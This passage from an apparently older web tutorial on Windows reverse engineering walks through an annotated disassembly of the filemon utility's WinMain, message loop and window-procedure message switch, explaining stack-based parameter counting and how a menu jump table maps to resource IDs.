TranslateMessage(&msg); /* translates virtual key codes
*/
DispatchMessage(&msg); /* dispatches message to window
*/
}
return (int) msg.wParam; /* return value of PostQuitMessage
*/
}
Well, so what? Well, have a look at filemon's c source code NOW!
You are astonished, aren't you... yes, it's THE SAME code, I could have told you when we have
examined InitInstance but, see, I just wanted to carry you through the entire target before telling
you that BIG CHUNKS OF WINDOWS CODE are already perfectly known (with all their
variables and parameters and relative calls) for (almost) any application! (Peter Urbanik, are you
reading this? D'you understand what this could mean for developing the perfect reverse
engineering tool? :-)

I know, dear reader, you are quite impatient now, you have read a lot of text and you already
believe that you now understand everything, that you can disassemble every windows application
on the face of this planet... it is true for "easy" targets, but there is unfortunately still a lot to
understand in order to reverse engineer more "complex" windows code, as you will see... bear
with me a little more... let's investigate filemon's WinMain itself now
Wow! A WinMain function in all its dazzly splendour!

:WinMain
:00401020 83EC1C sub esp, 1C ;Adjust Stack
:00401023 53 push ebx ;will pop
:00401024 56 push esi ;will pop
:00401025 8B742428 mov esi, [esp + 28] ;get param hInstance
:00401029 57 push edi ;will pop
:0040102A 56 push esi ;push hInstance
:0040102B E880000000 call 10B0=InitApplication (hInstance)
:00401030 83C404 add esp, 4 ;(4=was only one param)
:00401033 85C0 test eax, eax ;return FALSE?

http://www.instinct.org/fravia/filemon4.htm (4 of 26) [2/7/2001 3:20:26 PM]


filemon4

:00401035 750B jne 00401042 ;OK, continue


:00401037 33C0 xor eax, eax ;prepare FALSE return
:00401039 5F pop edi ;pop them all
:0040103A 5E pop esi
:0040103B 5B pop ebx
:0040103C 83C41C add esp, 1C ;Adjust stack
:0040103F C21000 ret 0010 ;bye WinMain

:ContinueWinMain_after_InitApplication
:00401042 8B442438 mov eax, [esp + 38] ;get nCmdShow
:00401046 50 push eax ;push nCmdShow
:00401047 56 push esi ;push hInstance
:00401048 E8E3000000 call 1130=InitInstance(hInstance,
nCmdShow)
:0040104D 83C408 add esp, 8 ;(8 because had two
param)
:00401050 85C0 test eax, eax ;worked?
:00401052 750B jne 0040105F ;yes, so continue
WinMain
:00401054 33C0 xor eax, eax ;no, so prepare FALSE
:00401056 5F pop edi ;popall
:00401057 5E pop esi
:00401058 5B pop ebx
:00401059 83C41C add esp, 1C ;adjust and return
:0040105C C21000 ret 0010 ;bye WinMain

Passed parameter counting


Ok, after these two code snippets it's time to explain and understand a very important point:
PARAMETER PASSING MATH.
As you can see, the call to InitApplication is followed by a stack "4" Adjust, the call to
InitInstance is followed by a stack "8" Adjust, this happens because the first function
(InitApplication) is called with only ONE parameter (esi), and the second one (InitInstance) is
called with two (esi and eax).Don't confond this with the LENGTH of the parameters... this is the
space that the POINTERS have taken, yet it's important to understand HOW MANY parameters
had the function originally... it's a very simple relation:
add, esp 4 = ONE parameter
add, esp 8 = TWO parameters
add, esp C = THREE parameters, add esp, 10 = 4 parameters, add esp, 14 = 5 parameters... and so
on... you dig it?
Once more, that was parameters "discarding": if the programmer used the C calling convention (or
rather if the compilerdid) he must remember to discard the parameters, adjusting SP after the call.
Let's clarify also the more "general" stack adjusting a little: There are two ways to adjust the stack:
you can use the RETn instruction, where "n" is the number of bytes of parameters pushed, or you
can save the return address in some register (or in memory) and pop the parameter off one by one,

http://www.instinct.org/fravia/filemon4.htm (5 of 26) [2/7/2001 3:20:26 PM]


filemon4

or you can use a mix of the two methods... the popping technique is useful if you are optimizing
for speed AND space.
When a routine receives control, the top of the stack contains A RETURN ADDRESS (two or four
words, depending on whether the routine is near or far) and, above it, any parameters being
passed.
There are THREE basic techniques for accessing the parameters passed to the routines:
1) use the BP register to address the stack
2) use another base or index register to get the parameters
3) pop the return address and then pop the parameters.

Since we are (supposed to be) reverse engineering our targets, we DO NOT know, most of the
time the exact "prototypes" of the "home-made" functions we are examining... prototypes establish
the return type for functions that return any type other than int; contain a full list of parameter
types, identifiers for each expression that will be passed as an actual argument and can also reflect
the fact that the number of arguments passed will be variable, or that there will be NO arguments
passed. The parameter list in a prototype is a list of type names separated by commas, for instance
you may well have in a protection schema a FARPROC GetProtectionAddress(hinst,
lpszProtSnippet)

Since here we have added 1C at the beginning of WinMain, we'll have some combination of
LPSTR 32/16 bytes pointers 16 bytes handles and ints. Well, if you look at the two snippets
above, you'll already have some hints:

:00401025 8B742428 mov esi, [esp + 28] ;so we have one of


them at 28
:00401042 8B442438 mov eax, [esp + 38] ;and one at 38
Therefore we know that one of the parameters passed to WinMain will now be collected at +28
and one at +38, and that the first one (+28) is collected in esi and pushed as LEFTMOST
parameter in our two functions InitApplication and InitInstance... c'mon, even if you did not know
already that MOST of the main functions in Window need hWnd as leftmost parameters, that we
are Initialising now from WinMain and that esi is the "classical" hWnd register, you would have
guessed by now that the one at 28 is hWnd!
Just keep in mind that we had an adjust 1C entering WinMain... more about parameter passing
later... let's go on with WinMain, we have seen the "standard" calls to the two procedures
InitInstance and Initapplication, what's happening next? Well, the usual Message chain, what
else... Windoze is so boring! Well, here are the three functions, just read their prototypes... you'll
understand all the following comments of mine to WinMain's code:

BOOL TranslateMessage(lpmsg)
const MSG FAR* lpmsg; /* address of MSG structure */
;prepares for GetMessage if it was a "virtual key" msg

http://www.instinct.org/fravia/filemon4.htm (6 of 26) [2/7/2001 3:20:26 PM]


filemon4

LONG DispatchMessage(lpmsg)
const MSG FAR* lpmsg; /* address of structure with message */

BOOL GetMessage(lpmsg, hwnd, uMsgFilterMin, uMsgFilterMax)


MSG FAR* lpmsg; /* address of structure with message */
HWND hwnd; /* handle of the window */
UINT uMsgFilterMin; /* first message */
UINT uMsgFilterMax; /* last message */
Here is the code of WinMain:

:continue_WinMain_after_InitInstance
:0040105F 8D44240C lea eax, [esp + 0C] ;lpmsg
:00401063 6A00 push 00000000
:00401065 6A00 push 00000000
:00401067 8B3500B34400 mov esi, [0044B300] ;GetMessage
:0040106D 6A00 push 00000000
:0040106F 50 push eax
:00401070 FFD6 call esi ;GetMessage(lpmsg,NULL,0,0)
:00401072 85C0 test eax, eax ;WM_QUIT? Should we die?
:00401074 742B je 004010A1 ;Yes, so ret and
terminate
:00401076 8B3D94B24400 mov edi, [0044B294] ;TranslateMessage
:0040107C 8B1D8CB24400 mov ebx, [0044B28C] ;DispatchMessage

:continue_WinMain_message_chain
:00401082 8D44240C lea eax, [esp + 0C] ;get lpmsg
:00401086 50 push eax ;push lpmsg
:00401087 FFD7 call edi ;TranslateMessage(lpmsg)
:00401089 8D44240C lea eax, [esp + 0C] ;get lpmsg
:0040108D 50 push eax ;push lpmsg
:0040108E FFD3 call ebx ;DispatchMessage (lpmsg)
:00401090 8D44240C lea eax, [esp + 0C] ;get lpmsg
:00401094 6A00 push 0 ;push 0
:00401096 6A00 push 0 ;push 0
:00401098 6A00 push 0 ;push NULL
:0040109A 50 push eax ;push lpmsg
:0040109B FFD6 call esi ;GetMessage(lpmsg,NULL,0,0)
:0040109D 85C0 test eax, eax ;ret and terminate if it is
WM_QUIT,
:0040109F 75E1 jne 00401082 ;else go chain_start: find out
which
;other message has disturbed

http://www.instinct.org/fravia/filemon4.htm (7 of 26) [2/7/2001 3:20:26 PM]


filemon4

us

:exit WinMain with return value of the PostQuitMessage function


:004010A1 8B442414 mov eax, [esp + 14] ;get
msg.wParam;
:004010A5 5F pop edi ;pop the
hell out of them
:004010A6 5E pop esi
:004010A7 5B pop ebx
:004010A8 83C41C add esp, 1C ;re-adjust
:004010AB C21000 ret 0010 ;bye WinMain
Keep in mind that the WM_QUIT message indicates a request to terminate an application and is
generated when the application calls the PostQuitMessage function. It causes the GetMessage
function to return zero. Therefore you could read the above code like this: Initialise our app,
initialise our instance and get messages until we want to quit or something funny happens or user
clicks something or whatever... There is no direct connection now from WinMain to the other
functions of our target, other that the messages themselves... It's InitInstance that calls
MainWndProc, the last (and most important) function of our target (that we have still to
investigate). Let's see now what happens at the good old entry point of our target when WinMain
closes...

:0040262B 50 push eax


:0040262C E80F160000 call 00403C40;GetCurrentProcess
(retrieve task)
;TerminateProcess (ends
task)
;ExitProcess (close self
loading app)
:00402631 EB27 jmp 0040265A ;ret
Well that was it... WinMain is just a "running wheel", continuously looking for messages in order
to get, translate and dispatch them to our target, which WinMain has initialized before entering its
master loop. The INITIALISATION part of WinMain triggers InitApp and InitInstance, the rest is
just the messages loop until a WM_QUIT message kills it. WM_QUIT is so terrible that an extra
windows function exists only in order to deliver it: PostQuitMessage(nExitCode). This is called in
our target from three obvious "termination" points: our Abort function (of course) and from the
WM_CLOSE and WM_DESTROY switches of the message tree in MainWndProc (of course).
This is interesting too, from a reverse engineering point of view, because this "death" chain can be
very intersting to approach a difficult target... even cloaked code must react to a termination
command, and in a difficult session you'll be able to re-mount (until you find your bearings)
starting from the termination routines and from the ExitCode returned to PostQuitMessage.

http://www.instinct.org/fravia/filemon4.htm (8 of 26) [2/7/2001 3:20:26 PM]


filemon4

Return values
You should keep in mind the following about return values: 8 and 16 bit values are always
returned in AX; 32 bit values are returned in dx:ax; floating point values are in the 8087 TOS
register and structures are returned in VARIOUS WAYS, according to their size. Returned
structures are indeed a bit more complex: 1 or 2 bytes length structures are returned in ax and 4
bytes length structures are returned in dx:ax, but THREE or MORE THAN FOUR bytes structures
must be stored in a static data area, the function will return a POINTER to that data area... near
pointers in ax and far pointers in dx:ax... (well, just keep it basic: return value always in ax, at
times in dx:ax :-)

We are done with WinMain, yet we have still the "Main Chunk" of filemon to examine:
MainWndProc(HWND hWnd, UINT message, UINT wParam, LONG lParam), here it is: as you
will immediately see, the initial switch is based in esi and gives following options: WM_=F;
WM_=1; WM_=2; WM=5; WM=more than F etc... since we KNOW the meaning of WM_tags,
we can easily understand the whole function...

TAKE NOTE! All what windows programs do is react to messages... the whole os turns around
waiting for messages to process... in (almost) all windows targets you'll have somewhere the
switch tree of the message processing function (which is always the "real" main function of your
targets, by the way). We come now to see it, in this essay, only after having examined for teaching
purposes all the others functions, BUT IN THE REALITY OF REVERSE ENGINEERING you'll
often start from this "windows messages" switch tree, because you'll immediately understand what
your target will do when it gets the WM_CREATE (aka 1) and the WM_COMMAND (aka 111)
messages, the two most important ones for reverse engineering purposes.

:MainWndProc_Let's see which WM_ case we have


:00401190 81EC44010000 sub esp, 144 ;adjust
:1196 53 push ebx ;will pop
:1197 56 push esi ;will pop
:1198 8BB42454010000 mov esi, [esp + 154] ;which WM_ do we
have?
:119F 57 push edi ;will pop
:11A0 83FE0F cmp esi, F ;is it WM_ = 000F =
WM_PAINT?
:11A3 771F ja 004011C4 ;go more than F
:11A5 0F8485020000 je 00401430 ;go WM_PAINT
:11AB 83FE01 cmp esi, 1 ;is it WM_= 0001 =
WM_CREATE?
:11AE 7466 je 00401216 ;go WM_CREATE
:11B0 83FE02 cmp esi, 2 ;is it WM_= 0002 =
WM_DESTROY?
:11B3 0F843F020000 je 004013F8 ;go WM_DESTROY
:11B9 83FE05 cmp esi, 5 ;is it WM_= 0005 =

http://www.instinct.org/fravia/filemon4.htm (9 of 26) [2/7/2001 3:20:26 PM]


filemon4

WM_SIZE?
:11BC 0F8443020000 je 00401405 ;go WM_SIZE
:11C2 EB2E jmp 004011F2 ;else go WM_DEFAULT

:WM_more than F
:11C4 83FE4E cmp esi, 4E ;is it WM_ = 004E = WM_NOTIFY?
:11C7 7711 ja 004011DA ;more than 4E
:11C9 0F84E7020000 je 004014B6 ;go WM_NOTIFY
:11CF 83FE10 cmp esi, 10 ;is it WM_ = 0010 = WM_CLOSE?
:11D2 0F84AE020000 je 00401486 ;go WM_CLOSE
:11D8 EB18 jmp 004011F2 ;else go WM_DEFAULT

:WM_ more than 4E


:11DA 81FE11010000 cmp esi, 111 ;is it WM_ = 0111 =
WM_COMMAND?
:11E0 0F84F7020000 je 004014DD ;go WM_COMMAND
:11E6 81FE13010000 cmp esi, 113 ;is it WM_ = 0113 = WM_TIMER?
:11EC 0F84AB040000 je 0040169D ;go WM_TIMER
;else fall through to
WM_DEFAULT
:WM_DEFAULT (not 1,2,5,F,10,4E,111 or 113)
:calls the default window procedure: every message is processed!
:11F2 8B942460010000 mov edx, [esp + 00000160]
:11F9 8B8C245C010000 mov ecx, [esp + 0000015C]
:1200 52 push edx
:1201 51 push ecx
:1202 56 push esi
:1203 8BB42460010000 mov esi, [esp + 00000160]
:120A 56 push esi
:120B FF15D4B24400 Call dword ptr [0044B2D4] ;
DefWindowProcA
:1211 E9F0040000 jmp 1706_keep ax_&_ret

:WM_ = OOO1 = WM_CREATE


The WM_CREATE message is sent when an application requests that a
window be
created by calling the CreateWindowEx or CreateWindow function.
The window
procedure for the new window receives this message after the
window is
created but before the window becomes visible. The message is sent
to the
window before the CreateWindowEx or CreateWindow function returns.
:1216 68027F0000 push 00007F02 ;pszCursor

http://www.instinct.org/fravia/filemon4.htm (10 of 26) [2/7/2001 3:20:26 PM]


filemon4

:121B 6A00 push 00000000 ;hinst


:121D FF15F8B24400 Call dword ptr [0044B2F8] ;LoadCursor(hinst,
pszCursor)
:1223 8BB42454010000 mov esi, [esp + 154]
:122A A3B0964000 mov [004096B0], eax ;handle of the newly
loaded cursor
:122F 56 push esi ;hWnd
:1230 FF15B4B24400 Call dword ptr [0044B2B4] ;SetCapture(hWnd)
:1236 A1B0964000 mov eax, [004096B0] ;handle of the newly
loaded cursor
:123B 8B3DB8B24400 mov edi, [0044B2B8] ;SetCursor
:1241 50 push eax ;handle of cursor
:1242 FFD7 call edi ;SetCursor
:1244 56 push esi ;hWnd
:1245 A3BC964000 mov [004096BC], eax ;handle of previous
cursor
:124A E801090000 call 1B50_CreateListView(hWnd)
:124F 83C404 add esp, 4
:1252 A3B8964000 mov [004096B8], eax ;save hWndList
:1257 85C0 test eax, eax ;error?
:1259 7511 jne 0040126C ;continue_WM_CREATE
:125B 6A00 push 00000000
:125D 6A00 push 00000000
:125F 6874814000 push 00408174 ;->"List not created!"
:1264 6A00 push 00000000
:1266 FF1590B24400 Call dword ptr [0044B290] ; MessageBoxA

:continue WM_CREATE (Initialise_filters)


:126C 6870814000 push 00408170 ;->"*"
:1271 68C0974000 push 004097C0
:1276 E8650F0000 call 004021E0
:127B 83C408 add esp, 00000008
:127E 6870814000 push 00408170 ;->"*"
:1283 68E0974000 push 004097E0
:1288 E8530F0000 call 004021E0
:128D 83C408 add esp, 00000008
:1290 686C814000 push 0040816C
:1295 68E0984000 push 004098E0
:129A E8410F0000 call 004021E0
:129F 8D4C2458 lea ecx, [esp + 58]
:12A3 83C408 add esp, 00000008
:12A6 B801000000 mov eax, 00000001
:12AB 51 push ecx
:12AC 6800010000 push 00000100

http://www.instinct.org/fravia/filemon4.htm (11 of 26) [2/7/2001 3:20:26 PM]


filemon4

:12B1 A3E0994000 mov [004099E0], eax ;TRUE


:12B6 A3E4994000 mov [004099E4], eax ;TRUE

:continue WM_CREATE (open device handle)


:12BB FF15E0B14400 Call dword ptr [0044B1E0]
;GetCurrentDirectoryA
:12C1 8D4C2450 lea ecx, [esp + 50]
:12C5 685C814000 push 0040815C ;->"\\.\FILEVXD.VXD"
:12CA 6858814000 push 00408158 ;->"\%s"
:12CF 51 push ecx
:12D0 FF15D4B14400 Call dword ptr [0044B1D4]
;KERNEL32.lstrlenA
:12D6 8D4C0458 lea ecx, [esp + eax + 58]
:12DA 8B1DBCB24400 mov ebx, [0044B2BC] ;wsprintf
:12E0 51 push ecx
:12E1 FFD3 call ebx ;wsprintf
:12E3 83C40C add esp, 0000000C
:12E6 6A00 push 00000000
:12E8 6800000044 push 44000000
:12ED 6A00 push 00000000
:12EF 6A00 push 00000000
:12F1 6A00 push 00000000
:12F3 6A00 push 00000000
:12F5 685C814000 push 0040815C ;->"\\.\FILEVXD.VXD"
:12FA FF15D8B14400 Call dword ptr [0044B1D8]
;CreateFileA
:1300 A360804000 mov [00408060], eax
:1305 83F8FF cmp eax, FFFFFFFF ;ax=-1?
:1308 7527 jne 00401331 ;no, continue_1331
:130A 6850814000 push 00408150 ;->"FILEVXD"
:130F 6834814000 push 00408134 ;->"%s is not loaded
properly."
:1314 68A0944000 push 004094A0
:1319 FFD3 call ebx ;wsprintf
:131B 83C40C add esp, 0000000C
:131E 68A0944000 push 004094A0
:1323 56 push esi
:1324 E8D7FCFFFF call 1000_Abort_funct ;ABORT
function
:1329 83C408 add esp, 00000008
:132C E9D3030000 jmp 1704_ax=0_&_ret

:continue WM_CREATE driver zero information


:1331 8D44240C lea eax, [esp + 0C]

http://www.instinct.org/fravia/filemon4.htm (12 of 26) [2/7/2001 3:20:26 PM]


filemon4

:1335 6A00 push 00000000


:1337 50 push eax
:1338 8B0D60804000 mov ecx, [00408060]
:133E 6A00 push 00000000
:1340 8B1DE4B14400 mov ebx, [0044B1E4] ;DeviceIoControl
:1346 6A00 push 00000000
:1348 6A00 push 00000000
:134A 6A00 push 00000000
:134C 6A01 push 00000001
:134E 51 push ecx
:134F FFD3 call ebx ;DeviceIoControl
:1351 85C0 test eax, eax ;ERROR?
:1353 7518 jne 0040136D ;jump
tell_driver_filter_136D
:1355 6814814000 push 00408114 ;->"Couldn't access
device driver"
:135A 56 push esi
:135B E8A0FCFFFF call 1000_Abort
:1360 83C408 add esp, 00000008
:1363 B801000000 mov eax, 00000001
:1368 E999030000 jmp 1706_keep ax_&_ret

: continue_WM_CREATE_tell_driver_filter
:136D 8D44240C lea eax, [esp + 0C]
:1371 6A00 push 00000000
:1373 50 push eax
:1374 8B0D60804000 mov ecx, [00408060]
:137A 6A00 push 00000000
:137C 6A00 push 00000000
:137E 6828020000 push 00000228
:1383 68C0974000 push 004097C0
:1388 6A05 push 00000005
:138A 51 push ecx
:138B FFD3 call ebx ;DeviceIoControl
:138D 85C0 test eax, eax ; ERROR?
:138F 750E jne 0040139F
;jump_start_filtering_139F
:1391 6814814000 push 00408114 ;->"Couldn't access
device driver"
:1396 56 push esi
:1397 E864FCFFFF call 1000_Abort_funct ; ABORT
function
:139C 83C408 add esp, 00000008

http://www.instinct.org/fravia/filemon4.htm (13 of 26) [2/7/2001 3:20:26 PM]


filemon4

:continue_WM_CREATE_start_filtering
:139F 8D44240C lea eax, [esp + 0C]
:13A3 6A00 push 00000000
:13A5 50 push eax
:13A6 8B0D60804000 mov ecx, [00408060]
:13AC 6A00 push 00000000
:13AE 6A00 push 00000000
:13B0 6A00 push 00000000
:13B2 6A00 push 00000000
:13B4 6A04 push 00000004
:13B6 51 push ecx
:13B7 FFD3 call ebx ;DeviceIoControl
:13B9 85C0 test eax, eax ;ERROR?
:13BB 7518 jne 004013D5 ;jump start_timer_13D5
:13BD 6814814000 push 00408114 ;->"Couldn't access
device driver"
:13C2 56 push esi
:13C3 E838FCFFFF call 1000_Abort_funct ;ABORT
function
:13C8 83C408 add esp, 00000008
:13CB B801000000 mov eax, 1 ;RETURN TRUE
:13D0 E931030000 jmp 1706_keep ax_&_ret

:continue_WM_CREATE_start_timer
The SetTimer function installs a system timer. A time-out value is
specified,
and every time a time-out occurs, the system posts a WM_TIMER
message to
the installing application's message queue or passes the message
to an
application-defined TimerProc callback function.
:13D5 6A00 push 0 ;zero=to queue
:13D7 68F4010000 push 1F4 ;time out duration: 500
milliseconds
:13DC 6A01 push 1 ;timer identifier
:13DE 56 push esi ;hWnd
:13DF FF15C0B24400 Call dword ptr [0044B2C0] ;USER32.SetTimer
:13E5 A1BC964000 mov eax, [004096BC] ;get cursor
:13EA 50 push eax ;push cursor
:13EB FFD7 call edi ;SetCursor
:13ED FF15C4B24400 Call dword ptr [0044B2C4] ;ReleaseCapture
:13F3 E90C030000 jmp 1704_ax=0_&_ret ;ret, bye
WM_CREATE

http://www.instinct.org/fravia/filemon4.htm (14 of 26) [2/7/2001 3:20:26 PM]


filemon4

:WM_ = 0002 = WM_DESTROY


The WM_DESTROY message is sent when a window is being destroyed.
It
is sent to the window procedure of the window being destroyed
after
the window is removed from the screen.
:13F8 6A00 push 0 ;typical response to a
WM_DESTROY:
:13FA FF1588B24400 Call dword ptr [0044B288] ;PostQuitMessage
:1400 E9FF020000 jmp 1704_ax=0_&_ret

:WM_ = 0005 = WM_SIZE WM_SIZE


fwSizeType = wParam; /* sizing-type flag */
nWidth = LOWORD(lParam); /* width of client area */
nHeight = HIWORD(lParam); /* height of client area */
The WM_SIZE message is sent to a window after its size has
changed.
:1405 8B942460010000 mov edx, [esp + 00000160]
:140C 6A01 push 1 ;repaint flag true
:140E 8BC2 mov eax, edx
:1410 C1E810 shr eax, 10
:1413 0FB7D2 movzx word ptr edx, edx
:1416 0FB7C8 movzx word ptr ecx, eax
:1419 51 push ecx ;height
:141A A1B8964000 mov eax, [004096B8]
:141F 52 push edx ;width
:1420 6A00 push 0 ;new top
:1422 6A00 push 0 ;new left
:1424 50 push eax ;hWnd
:1425 FF15C8B24400 Call dword ptr [0044B2C8]
;MoveWindow
:142B E9D4020000 jmp 1704_ax=0_&_ret ;ret, bye
WM_SIZE

:WM_ = 000F = WM_PAINT


The WM_PAINT message is sent when Windows or an application makes
a
request to repaint a portion of an application's window. The
message
is sent when the UpdateWindow or RedrawWindow function is called
or
by the DispatchMessage function.
:1430 803D6C80400000 cmp byte ptr [806C=Deleting], 00 ;are we
deleting?

http://www.instinct.org/fravia/filemon4.htm (15 of 26) [2/7/2001 3:20:26 PM]


filemon4

:1437 7429 je 00401462 ;no, return


DefWindowProc, else
:1439 8D442410 lea eax, [esp + 10] ;prepare window for
painting
:143D 8BB42454010000 mov esi, [esp + 00000154]
:1444 50 push eax ;structure with paint
info
:1445 56 push esi ;hWnd
:1446 FF15CCB24400 Call dword ptr [0044B2CC] ;BeginPaint,
:144C 8D442410 lea eax, [esp + 10] ;get paint info
structure
:1450 50 push eax ;push paint info
structure
:1451 56 push esi ;hWnd
:1452 FF15D0B24400 Call dword ptr [0044B2D0] ;EndPaint
:1458 B801000000 mov eax, 1 ;return true
:145D E9A4020000 jmp 1706_keep ax_&_ret ; bye WM_PAINT

:WM_PAINT_return DefWindowProc
The DefWindowProc function calls the default window procedure. The
default window procedure provides default processing for any
window
messages that an application does not process. This function
ensures
that every message is processed. It should be called with the same
parameters as those received by the window procedure.
:1462 8B942460010000 mov edx, [esp + 160]
:1469 8B8C245C010000 mov ecx, [esp + 15C]
:1470 52 push edx
:1471 51 push ecx
:1472 56 push esi ;type of msg
:1473 8BB42460010000 mov esi, [esp + 160]
:147A 56 push esi
:147B FF15D4B24400 Call dword ptr [0044B2D4]
;DefWindowProcA
:1481 E980020000 jmp 1706_keep ax_&_ret

:WM_ = 0010 = WM_CLOSE


The WM_CLOSE message is sent as a signal that a window or an
application
should terminate. An application can prompt the user for
confirmation
prior to destroying the window by processing the WM_CLOSE message
and

http://www.instinct.org/fravia/filemon4.htm (16 of 26) [2/7/2001 3:20:26 PM]


filemon4

calling the DestroyWindow function only if the user confirms the


choice.
:1486 A160804000 mov eax, [00408060]
:148B 50 push eax
:148C FF15DCB14400 Call dword ptr [0044B1DC]
;.CloseHandle,
:1492 8B942460010000 mov edx, [esp + 00000160]
:1499 8B8C245C010000 mov ecx, [esp + 0000015C]
:14A0 52 push edx
:14A1 51 push ecx
:14A2 56 push esi
:14A3 8BB42460010000 mov esi, [esp + 00000160]
:14AA 56 push esi
:14AB FF15D4B24400 Call dword ptr [0044B2D4] ;
DefWindowProcA
:14B1 E950020000 jmp 1706_keep ax_&_ret

:WM_ = 004E = WM_NOTIFY


:14B6 81BC245C010000E8030000 cmp dword ptr [esp + 15C], 3E8
:14C1 0F853D020000 jne 1704_ax=0_and_ret
:14C7 8B942460010000 mov edx, [esp + 00000160]
:14CE 837A0897 cmp [edx+08], FFFFFF97
:14D2 0F852C020000 jne 1704_ax=0_and_ret
:14D8 E920020000 jmp 004016FD ;return true

:WM_ = 0111 = WM_COMMAND


The WM_COMMAND message is sent to a window when the user selects
an item
from a menu, when a control sends a notification message to its
parent
window, or when an accelerator keystroke is translated. As soon as
this
part of the code runs, it checks for three eventualities:
1) is it IDM_ABOUT? (which in our home-made menu is "300", i.e.
0x12C.
2)
Is it a Menu option? (And if yes, which one? 40007,40012, 40018,
40019, 40020 or 40023?)
3) is it IDM_EXIT? (i.e. "104" = 0x68)
:14DD 8B8C245C010000 mov ecx, [esp + 0000015C]
:14E4 0FB7C1 movzx word ptr eax, ecx
:14E7 3D2C010000 cmp eax, 12C ;is it IDM_= 0x12C = 300 =
IDM_ABOUT?
:14EC 7F24 jg 00401512 ;go IDM > 12C: it's our MENU

http://www.instinct.org/fravia/filemon4.htm (17 of 26) [2/7/2001 3:20:26 PM]


filemon4

:14EE 7454 je 00401544 ;go IDM_ABOUT


:14F0 83F868 cmp eax, 68 ;is it IDM_ = 0x68 = 104 =
IDM_EXIT?
:14F3 7436 je 0040152B ;go IDM_EXIT
;else knows the cuckoo... fall
through to
:continue WM_COMMAND: DEFAULT EXIT (DefWindowProc and ret)
:14F5 8B942460010000 mov edx, [esp + 00000160]
:14FC 52 push edx
:14FD 51 push ecx
:14FE 56 push esi
:14FF 8BB42460010000 mov esi, [esp + 00000160]
:1506 56 push esi
:1507 FF15D4B24400 Call dword ptr [0044B2D4]
;DefWindowProcA,
:150D E9F4010000 jmp 1706_keep ax_&_ret

:continue WM_COMMAND: IDM_ > 12C... it's a MENU option


:1512 2D479C0000 sub eax, 9C47 ;magic subtract
:1517 83F810 cmp eax, 10
:151A 77D9 ja 004014F5 ;DEFAULT exit
:151C 33D2 xor edx, edx
:151E 8A9030174000 mov dl, [eax+00401730]
:1524 FF249514174000 jmp dword ptr [4*edx + 00401714]
;Call all other IDMs following table at
1714
;and ret

A short digression about "menu tables"


As you can see, each dword pointer points to a different menu option... how do you get them?,
Well, look at the code, it SUBTRACTs first of all from the menu item the "magic" 9C47, which
corresponds to 40007 (the first menu value for "Save"). Look at the menu "values": (through
BRW: Borland's resources workshop):

MENUITEM "&Save...", 40007


MENUITEM "Save &As...", 40012
MENUITEM SEPARATOR
MENUITEM "E&xit", 104
MENUITEM "&Filter...", 40023
MENUITEM SEPARATOR
MENUITEM "&Capture Events", 40018, CHECKED
MENUITEM "&Auto Scroll", 40019, CHECKED
MENUITEM SEPARATOR

http://www.instinct.org/fravia/filemon4.htm (18 of 26) [2/7/2001 3:20:26 PM]


filemon4

MENUITEM "C&lear Display", 40020


You see? 40007=0=Save; 40012=+5=SaveAs; 40018=+B=CaptureEvents;
400019=+C=AutoScroll; 40020=+D=ClearDisplay; 40023=+10=filter... Now look at line :151E
mov dl, [eax+00401730]In your dead listing is probably bad interpreted by wdasm... it is a simple
"relocation table" here you are:

:1730 00 06 06 06 06 01 06 06 Save Exit Exit Exit Exit


SaveAs Exit Exit
:1738 06 06 06 02 03 04 06 06 Exit Exit Exit Capture Autoscll
Clear Exit Exit
:1740 05
Fltr Therefore 0=0; 5=1; B=2; C=3; D=4; 10=5 and more than 10 is out and all the rest is 6... this
is VERY IMPORTANT if you want to understand alien "compiled" code you do not know the
purpose of... this means that the "relocation" of the various ID_TAGS of a menu after subtracting
it with the magic (hexadecimal) number (saveas is +5 in relation to Save, which is 0) are used to
fetch the CORRECT multiplication factor (in the case of "SaveAs" is 01, in the case of "Filter" is
05... and these 01 and 05 are used as relocators to fetch the corresponding routine from the table:
Have a look, you'll notice immediately that there are seven possible jumps:

:1714 69154000 DWORD 00401569 ;IDM_SAVE relocator = 00


(40007-40007=0)
:1718 86154000 DWORD 00401586 ;IDM_SAVEAS relocator = 01
(40012-40007=5)
:171C A3154000 DWORD 004015A3 ;IDM_Captre relocator = 02
(40018-40007=B)
:1720 E0154000 DWORD 004015E0 ;IDM_Atscll relocator = 03
(40019-40007=C)
:1724 1D164000 DWORD 0040161D ;IDM_Clear relocator = 04
(40020-40007=D)
:1728 7B164000 DWORD 0040167B ;IDM_Filter relocator = 05
(40023-40007=10)
:172C F5144000 DWORD 004014F5 ;IDM_Exit relocator = 06 (all
other cases)
I think you understand now one of the "intricacies" of windows reverse engineering... the 6 lines
of code we saw above:

:1512 2D479C0000 sub eax, 9C47 ;magic subtract 40007


:1517 83F810 cmp eax, 10 ;did we get more than
maximum?
:151A 77D9 ja 004014F5 ;if so DEFAULT exit

http://www.instinct.org/fravia/filemon4.htm (19 of 26) [2/7/2001 3:20:26 PM]


filemon4

:151C 33D2 xor edx, edx ;make sure it's zero


:151E 8A9030174000 mov dl, [eax+1730] ;get relocator 00-06
:1524 FF249514174000 jmp dword ptr [4*edx + 1714] ;jmp to
relocator line
Are now pretty strightforward, d'you agree?

You may ask yourself why the programmers have chosen these values... well, they have not...
that's Microsoft Developer Studio here... with time you'll get acquainted with all different
compiler peculiarities... have a look at the "resource.h" text file inside the packahe of filemon you
downloaded... everything is there. But you don't need to have a resource file to grasp this... good
old WCB will show it to you, or, alternatively, just hexedit your windows target... look towards
the end of the hexedited file... there you'll find all imported functions and a little after, at 8720, for
instance:

00000000000000000800529C26004300 ..........R.&.C.
61007000740075007200650020004500 a.p.t.u.r.e. .E.
760065006E007400730000000800539C v.e.n.t.s. S.
26004100750074006F00200053006300 &.A.u.t.o. S.c.
72006F006C006C000000000000000000 r.o.l.l.........
You understand what that means, don't you... 529C is the VALUE of the Capture Events option
and 539C is the VALUE (0x9C53=40019) of the Autoscroll menu option... all windows targets
carry these IMPORTANT information within themselves, you just sit there fishing all these names
out of the unnamed see until your dead listing makes more sense than the original source code of
the programmer itself!
:continue WM_COMMAND: IDM_ = 68 = IDM_EXIT
:152B 8BB42454010000 mov esi, [esp + 00000154]
:1532 6A00 push 00000000
:1534 6A00 push 00000000
:1536 6A10 push 00000010 ;WM_CLOSE
:1538 56 push esi
:1539 FF15D8B24400 Call dword ptr [0044B2D8]
;SendMessage (WM_CLOSE)
:153F E9C0010000 jmp 1704_ax=0_&_ret ;bye bye
everybody

:continue WM_COMMAND: IDM_ = 12C IDM_ABOUT


The DialogBoxParam function creates a modal dialog box from a
dialog
